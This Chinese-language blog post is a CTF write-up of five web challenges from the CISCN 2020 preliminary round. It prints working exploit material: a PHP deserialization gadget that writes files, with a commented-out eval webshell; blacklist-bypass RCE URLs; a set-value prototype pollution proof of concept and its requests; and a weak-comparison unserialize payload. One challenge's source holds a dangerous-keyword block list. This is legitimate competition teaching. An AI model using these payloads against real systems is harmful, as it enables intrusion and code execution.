CISCN 2020 第十三届全国大学生信息安全竞赛 初赛 WEB Writeup

WEB 部分

easyphp

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}

应该是通过 call_user_func_array 执行函数让 fork 程序异常退出,以此执行 phpinfo(),先生成所有内部定义的函数

1
2
3
4
5
6
7
<?php

$func_arr = get_defined_functions()['internal'];

for ($i = 0; $i < sizeof($func_arr); $i ++){
file_put_contents("./func.txt", $func_arr[$i]."\n",FILE_APPEND);
}

使用 Burp 跑一下

image-20200820224534624

满足条件的有多个函数

image-20200820224723810

任取一个即可获取 flag

image-20200820224756439

flag{2a37f414-418f-4dd6-8981-a4ecf0e71a39}


babyunserialize

扫目录发现源码

image-20200820132539583

composer 安装依赖

image-20200820132711098

代码审计,找下 __destruct 入口点

image-20200820142112612

可以利用 jig 的 write 方法写文件,比较简单,控制 lazy、data、dir 三个变量即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function write($file,array $data=NULL) {
if (!$this->dir || $this->lazy)
return count($this->data[$file]=$data);
$fw=\Base::instance();
switch ($this->format) {
case self::FORMAT_JSON:
$out=json_encode($data,JSON_PRETTY_PRINT);
break;
case self::FORMAT_Serialized:
$out=$fw->serialize($data);
break;
}
return $fw->write($this->dir.$file,$out);
}
1
2
3
function write($file,$data,$append=FALSE) {
return file_put_contents($file,$data,$this->hive['LOCK']|($append?FILE_APPEND:0));
}

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php


namespace DB;

//! In-memory/flat-file DB wrapper
class Jig {
protected
//! UUID
$uuid,
//! Storage location
$dir,
//! Current storage format
$format,
//! Jig log
$log,
//! Memory-held data
$data,
//! lazy load/save files
$lazy;

function __construct() {
$this->lazy = TRUE;
/*$this->data = ['test.php'=>['<?php @eval($_REQUEST[1]); ?>']];*/
$this->data = ['test2.php'=>['<?php phpinfo(); ?>']];
$this->dir = './';

}

}



echo urlencode(serialize(new Jig()));

生成 exp O%3A6%3A%22DB%5CJig%22%3A6%3A%7Bs%3A7%3A%22%00%2A%00uuid%22%3BN%3Bs%3A6%3A%22%00%2A%00dir%22%3Bs%3A2%3A%22.%2F%22%3Bs%3A9%3A%22%00%2A%00format%22%3BN%3Bs%3A6%3A%22%00%2A%00log%22%3BN%3Bs%3A7%3A%22%00%2A%00data%22%3Ba%3A1%3A%7Bs%3A9%3A%22test2.php%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A19%3A%22%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%22%3B%7D%7Ds%3A7%3A%22%00%2A%00lazy%22%3Bb%3A1%3B%7D

成功写入 test2.php ,访问 phpinfo,能够找到 flag

flag{c1019337-2bc8-4d02-9031-3edadf522f83}

rceme

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}

if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}

题目代码貌似 zzzphpV1.6.1 漏洞代码改的吧,网上有关文章:https://www.cnblogs.com/lovequitepcs/p/12842482.html

本地测试可以直接用网上的 paylaod,只不过题目有黑名单罢了,都能执行 php 代码了,黑名单也只是简单的字符判断

利用 php 动态执行特性 bypass 或者 无字母数字 执行 php 代码即可,网上文章很多

构造一个 phpinfo

直接使用 https://www.cnblogs.com/BOHB-yunying/p/11520031.html 中的 paylaod

1
http://eci-2ze6s45xk2o36vtz4e0k.cloudeci1.ichunqiu.com/?a=%7Bif%3A1)(AYAYYRY%5Etrim(((((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a%2B!!a%2B!!a)))%2B(((!!a%2B!!a))**((!!a))))))()%3B%3B%2F%2F%7D%7Bend%20if%7D

拿到 flag

image-20200820150426222

或者是

1
http://eci-2ze6s45xk2o36vtz4e0k.cloudeci1.ichunqiu.com/?a=%7Bif%3A1)('p'.'h'.'p'.'i'.'n'.'f'.'o')()%3B%2F%2F%7D%7Bend%20if%7D

同样执行 phpinfo

flag{c7566bbb-27e5-490f-aa21-d65ef265d35d}


littlegame

下载附件,npm install 更新下依赖

js 代码审计,package.json 先看看 dependencies

https://snyk.io/vuln/SNYK-JS-SETVALUE-450213 能找到 "set-value": "^3.0.0" 的原型链污染

漏洞 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const setFn = require('set-value'); 
const paths = [ 'constructor.prototype.a0', '__proto__.a1', ];

function check() {
for (const p of paths) {
setFn({}, p, true);
}
for (let i = 0; i < paths.length; i++) {
if (({})[`a${i}`] === true) {
console.log(`Yes with ${paths[i]}`);
}
}
}
check();

再看看 routes/index.js 关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const setFn = require('set-value');

......

router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("Let's have a check!");
}
}
});

同样是 setFn,也符合 poc 的利用条件,在看获取 flag 路由定义,Admin 的 password 是不知道的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}else {
res.send("Wrong password!Are you Admin?");
}
}

});

利用原型链污染自定义一个 password 即可

先 POST /Privilege 添加属性并赋值

1
2
3
http://eci-2ze4ps1zb1acy0xbmr4p.cloudeci1.ichunqiu.com:8888/Privilege

NewAttributeKey=__proto__.fuck&NewAttributeValue=fuck

然后再 POST /DeveloperControlPanel 验证密码

1
2
3
http://eci-2ze4ps1zb1acy0xbmr4p.cloudeci1.ichunqiu.com:8888/DeveloperControlPanel

key=fuck&password=fuck

获取 flag

image-20200820172208005

flag{ee34b29b-59c6-4f06-9b3f-f5b12c63de37}

easytrick

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

只有两个变量,可以根据题目设定通过批量 fuzz 一些常见的 php 弱类型比较获取可能的组合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function get_trick(){
$a = [true,false,1,0,-1,"1","0","-1",NULL,array(),"Array","null","true","false","",0e123,"0e123","0e0",0e0,9e999,INF,"9e999","INF",-9e99,"-0e0",-0e0];
for ($i = 0; $i < sizeof($a); $i ++){
$t = (string)$a[$i];
for ($j = 0; $j < sizeof($a); $j ++){
if($t !== $a[$j] && md5($t) === md5($a[$j]) && $t != $a[$j]){
echo "--------\n";
echo "pos:".$i."\n";
var_dump($a[$i]);
echo "pos:".$j."\n";
var_dump($a[$j]);
//return;
}
}
}
}

get_trick();

如下,解法有多种

image-20200820220924182

随便选一种生成序列化 paylaod

1
2
3
4
5
6
7
8
9
10
11
<?php
class trick{
public $trick1;
public $trick2;
public function __construct(){
$this->trick1 = "INF";
$this->trick2 = 9e999;
}
}

echo urlencode(serialize(new trick()));

O%3A5%3A%22trick%22%3A2%3A%7Bs%3A6%3A%22trick1%22%3Bs%3A3%3A%22INF%22%3Bs%3A6%3A%22trick2%22%3Bd%3AINF%3B%7D

获取 flag

image-20200820221239179

flag{0421e2ca-167d-47a9-8620-5143d5080614}


文章作者: J0k3r
文章链接: http://j0k3r.top/2020/08/25/CISCN-2020/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog